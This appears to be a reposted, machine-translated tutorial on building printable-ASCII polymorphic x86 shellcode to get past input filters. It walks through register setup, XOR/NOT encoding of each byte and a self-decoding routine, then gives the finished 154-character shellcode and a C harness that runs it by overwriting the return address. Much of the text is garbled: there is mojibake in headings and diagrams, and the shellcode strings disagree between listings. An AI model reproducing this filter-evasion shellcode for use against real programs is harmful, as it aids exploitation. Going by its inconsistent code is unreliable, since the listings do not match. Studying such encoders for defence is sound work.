How to create an ASCII shellcode ?

 

ASCII Shellcode生成

How to create an ASCII shellcode ?

Shell-Storm.org Author: Florian Gaultier

I. Presentation of polymorphism in printable ASCII characters

To deal with a large number of vulnerabilities, including the execution of shellcode classics, some programs put in place restrictions on the buffers. Imagine a program performing an audit on what is entered, only accept characters printable, then it is impossible to include most of the instructions usually assemblers used.

For example, the 0x80 interrupt: “\xcd\x80”, these two opcodes not correspond to any ASCII character Print. Fortunately, we have sufficient instructions using printable characters ..

II. Concept and structure of a polymorphic shellcode ASCII

ASCII polymorphic shellcode, as its name suggests, is primarily polymorphic, ie a piece of our shellcode will be used to decode our real shellcode which will be written as phrase. However, instead of using a loop as a polymorphic shellcode classic the challenge will be to decode differently each byte.

The printable ASCII characters are between x20 and x7e. But for purists, we can increase the difficulty by using only alphanumeric characters: it will proceed also through restrictions buffer alphanumeric. The alphanumeric characters are included in the beaches 0x30 ~ 0x39, 0x41 ~ 0x5a and 0x61 ~ 0x7a.

To decode, we use the xor instruction opcodes which correspond to an alphanumeric character.

Several methods exist to decode each opcode. We can build the shellcode in transforming a sentence, placed at the end of shellcode instructions before eip will happen.

+———+—————+————————–+ | OOLS | DECODER | Shellcode Encoder | +———+—————+————————–+

Another method is to build the shellcode in the stack decoding in a record or in the stack directly. He must then find a way to jump into the pile.

+鈥斺€斺€斺€�+鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�-+鈥�- 鈥斺€�-+鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�-+鈥斺€斺€�- 鈥� + | 鈥楾OOLS鈥� | PIECE Shellcode Encoder | DECODER | PIECE Shellcode Encoder | DECODER | 鈥� +鈥斺€斺€斺€�+鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�-+鈥�- 鈥斺€�-+鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�-+鈥斺€斺€�- 鈥� +

Of course, each method has advantages and disadvantages.

III 鈥� The construction of the shellcode

III 鈥� 1. 鈥淭ools鈥�

As we can see, the two methods mentioned above use 鈥渢ools鈥�. It is a sequence of instructions that edits the registry to be used later to decode.

Dec esp
Dec esp
Dec esp
Dec esp
pop edx; Retrieves a record the start address of the shellcode.
push dword 0x58494741
pop eax
xor eax, 0x58494741
Dec eax; Retrieves a record FFFFFFFF.
push esp
pop ecx; Retrieves a register address of the stack.
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad

The pop instruction is a printable ascii character only eax, ecx, and edx is why we use popad after stacked in a specific order all the registries. Indeed popad equivalent to the following

POP EDI 
POP ESI 
POP EBP 
POP ESP 
POP EBX 
POP EDX
POP ECX 
POP EAX

Our tools are ready: eax with the address of the beginning of the shellcode, ecx with the address stack, we use edx to xor what we want and finally with FFFFFFFF ebx who used xor, “not” equivalent to the statement.

The following statement gives:

LLLLZhAGIXX5AGIXHTYRQRPTUVWa

A tour by gdb to check the registers:

eax: 080495B4

ebx: FFFFFFFF

ecx: BFC83220

edx: 080495B4

esp: BFC83220

eip: 080495D0

Everything is okay!

III 鈥� 2. Some calculations

The tricky part now is to find how xorer a byte within the limits printable characters, with a printable character to give the final byte of the shellcode. We will continue with the previous shellcode, and rewrite it by finding the right xoring for each byte order not to give a line that characer printable.

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x09\x6a\x0a\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\x89\xe1\xb3\x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80

We can already keep some bytes that are already giving us Print:

\x31\xXX\x31\xXX\x31\xXX\x31\xXX\xXX\xXX\x6a\xXX\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\x31\xXX\xXX\xXX\xXX\xXX

We have 20 bytes to convert.

Get out the calculators, you attack \xc0. A simple “not” instruction to turn C0 into 3F. For 09, we can xorer by 20 to 71. For E1, one “not” which gives us a ‘xor’ by 1E and 50, for example.

It is therefore not always be a, a ‘not’ then a ‘xor’, a ‘xor’ is need to find!

(杩欎竴娈垫湁鐐规贩涔憋紝澶ф剰灏辨槸>=0x80鐨勫瓧绗﹀彲浠ュ厛 鍙栧弽锛坣ot锛夛紝鐒跺悗鎵句袱涓暟瀛梮or锛�<=0x7f鐨勬暟瀛楃洿鎺ユ壘涓や釜鏁板瓧 xor 灏辫)

\x31
\xc0 not \x3f
\x31
\xdb not \x24
\x31
\xc9 not \x36
\x31
\xd2 not \x2d
\xb2 not \x4d
\x59 xor \x09 \x50
\x6a
\x0a xor \x50 \x59
\x68
\x74
\x68
\x61
\x6e
\x68
\x6a
\x6f
\x6e
\x61
\x89 not \x76
\xe1 not xor \x50 \x4e
\xb3 not \x4c
\x51 xor \x01 \x50
\xb0 not \x4f
\x54 xor \x04 \x50 
\xcd not \x32
\x80 not xor \x50 \x2f
\x31
\xdb not \x24
\xb0 not \x4f
\x01 xor \x50 \x51
\xcd not \x32
\x80 not xor \x50 \x2f

That鈥檚 quite tedious, but nothing prevents you from xorer to get a pretty phrase (http://www.shell-storm.org/shellcode/files/shellcode-650.php example) or on only alphanumeric characters!

We get here:

1?$1161-MYjZhthanhjonavNLQOT2/$1OQ2/

III 鈥� 3. Decoding (method 1)

鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�

Tools and xor in hand, it is very easy to decode the sentence. The challenge remaining is to find the right not to fall on the right byte xorer, we determine subsequently using NDISASM锛堝簲璇ユ槸涓€涓弽姹囩紪宸ュ叿锛�. For simplicity starting 40 (28 in hex) which is a round number, which corresponds to a character Print. The shellcode decoding should therefore not exceed 86 bytes with this method.

xor [eax + 41], bh; We begin with the second since the first byte is 31 with a not (xor ff)
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050; We modify dx order xorer with 4A
pop dx
xor [eax + 49], dh
push word 0x5050
pop dx
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh; do not xor
push word 0x5050
pop dx
xor [eax + 63], dh
xor [eax + 64], bh
push word 0x5050
pop dx
xor [eax +65], dh
xor [eax + 66], bh
push word 0x5050
pop dx
xor [eax +67], dh
xor [eax + 68], bh
xor [eax +69], bh
push word 0x5050
pop dx
xor [eax +69], dh
xor [eax + 71], bh
xor [eax + 72], bh
push word 0x5050
pop dx
xor [eax +73], dh
xor [eax + 74], bh
xor [eax + 75], bh
push word 0x5050
pop dx
xor [eax +75], dh

All these instructions decode our shellcode! Luckily, only 50 are used to xorer, it is not always the case, especially if you want to alphanumeric shellcode or write your own sentence. So we can consolidate identical xor push word 0x5050 are there for example in case we do xorer could not all bytes with 50.

This gives us:

xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax + 65], dh
xor [eax + 66], bh
xor [eax + 67], dh
xor [eax + 68], bh
xor [eax + 69], bh
xor [eax + 69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax + 73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax + 75], dh

Ascii: 0x) 0x 0 x-0x/0x0fhPPfZ0p10p30x> 0x? 0p? 0x @ 0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK

Our ascii shellcode looks for the moment

LLLLZhAGIXX5AGIXHTYRQRPTUVWa
0x)0x0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@ 0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK
1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/

Now we need [eax + 40] gives the address of the first byte of the sentence to be decoded! To do this we will have to add a number to eax before starting to decode. But opcodes “add” instruction can not be printed, so we use the sub it is. Indeed, subtract enough we can fall back on a larger number.

It usually takes three sub that we must rely to determine the address of our sentence. We go through how to find NDISASM add.

00000000       4C             dec esp
00000001       4C             dec esp
00000002       4C             dec esp
00000003       4C             dec esp
00000004       5A             pop edx
00000005       6841474958     push dword 0x58494741
0000000A       58             pop eax
0000000B       3541474958     xor eax, 0x58494741
00000010 	   48             dec eax
00000011       54             push esp
00000012       59             pop ecx
00000013       52             push edx
00000014       51             push ecx
00000015       52             push edx
00000016       50             push eax
00000017       54             push esp
00000018       55             push ebp
00000019       56             push esi
0000001A       57             push edi
0000001B       61             popa
0000001C       2D41414141     sub eax, 0x41414141
00000021       2D42424242     sub eax, 0x42424242
00000026       2D43434343     sub eax, 0x43434343
0000002B       307829         xor [eax+0x29], bh
0000002E       30782B         xor [eax+0x2b], bh
00000031       30782D         xor [eax+0x2D], bh
00000034       30782F         xor [eax+0x2f], bh
00000037       307830         xor [eax+0x30], bh
0000003A       66685050       push word 0x5050
0000003E       665A           pop dx
00000040       307031         xor [eax+0x31], dh
00000043       307033         xor [eax+0x33], dh
00000046       30783E         xor [eax+0x3e], bh
00000049       30783F         xor [eax+0x3f], bh
0000004C       30703F         xor [eax+0x3f], dh
0000004F       307840         xor [eax+0x40], bh
00000052       307041         xor [eax+0x41], dh
00000055       307842         xor [eax+0x42], bh
00000058       307043         xor [eax+0x43], dh
0000005B       307844         xor [eax+0x44], bh
0000005E       307845         xor [eax+0x45], bh
00000061       307045         xor [eax+0x45], dh
00000064       307847         xor [eax+0x47], bh
00000067       307848         xor [eax+0x48], bh
0000006A       307049         xor [eax+0X49], dh
0000006d       30784A         xor [eax+0x4a], bh
00000070       30784B         xor [eax+0x4b], bh
00000073       30704B         xor [eax+0x4b], dh
00000076 	   db       '1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/'

must [eax + 40] has this value is

So we add 0x76 鈥� 0x28 in eax for getting the right byte, ie add 0x4e. Even the calculation to determine what to avoid, knowing that they must subtract corresponding to displayable characters!

0 鈥� 6D6D6D30 = 929292D0 鈥� 51515130 = 414141A0 鈥� 41414152 = 4E

The account is good!

Our shellcode is finished:

dec esp
dec esp
dec esp
dec esp
pop edx
push dword 0x58494741
pop eax
xor eax, 0x58494741
dec eax
push esp
pop ecx
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
sub eax, 0x6D6D6D30
sub eax, 0x51515130
sub eax, 0x41414152
xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax +65], dh
xor [eax + 66], bh
xor [eax +67], dh
xor [eax + 68], bh
xor [eax +69], bh
xor [eax +69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax +73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax +75], dh
db '1?$1161-MYjZhthanhjonavNLQOT2/OQ2$1/'

We get a nice ascii shellcode 154 characters!

LLLLZhAGIXX5AGIXHTYRQRPTUVWa-0mmm-0QQQ-RAAA0x)0x0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0x
D0xE0pE0xG0xH0pI0xJ0xK0pK1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/

We test our shellcode

#include <stdio.h>

char SC[] = 鈥淟LLLZhAGIXX5AGIXHTYRQRPTUVWa鈥� // tools
鈥�-0mmm-CEOS-0QQQ鈥� // add the step
// Decoding
鈥�0x) 0x 0 x-0x/0x0fhPPfZ0p10p30x> 0x? 0p? 0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK @ 0x鈥�

鈥�1? $ 1 161-MYjZhthanhjonavNLQOT2 / OQ2 $ 1 /鈥� // decode phrase

int main ()
{
	printf("Length:%d \n", strlen(SC));
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)SC;
}

AGIX~#gcc-o test test.c
AGIX~#./test
Length: 154
jonathan
AGIX~#

Warning it is important to use int * ret; ret = (int ) & ret + 2; ( Ret) = (int) SC;

so we can retrieve the address from the top of our shellcode in eax (using the December 4 esp the beginning)

III 鈥� 4. Decoding (Method 2)

鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€�

A little quick explanation of the second method is to write the shellcode in the stack. We鈥檒l use this time ecx contains the address of the stack.

inc ecx; must increment ecx to point to the first byte of the stack. push dword 0x4f51322f; We put the battery in a piece of our sentence. xor [ecx], bh; Can we edit each byte in the same manner as the first method. inc ecx; ecx must increment each time to edit the next byte. push word 0x5050 pop dx xor [ecx], dh inc ecx 鈥�

To jump into the pile must first put the address of the stack into the stack and make a retd. The ret instruction in place push eip address on the stack ie the address of our shellcode decoded.

push esp ret

Unfortunately ret is not printable, so use the same method as above and edit byte in advance to give the ret instruction.

push word 0x7070 pop dx xor [eax + 100], dh

To find the step to add eax, we can use NDISASM to be precise or save a fairly large number (which is always included in the printable characters). It will then add several L at the shellcode, this corresponds to a decrement esp and a 鈥榵or 70鈥� gives the ret instruction. The queue implementation will therefore arrive on the L which has been transformed into ret and jump into the pile!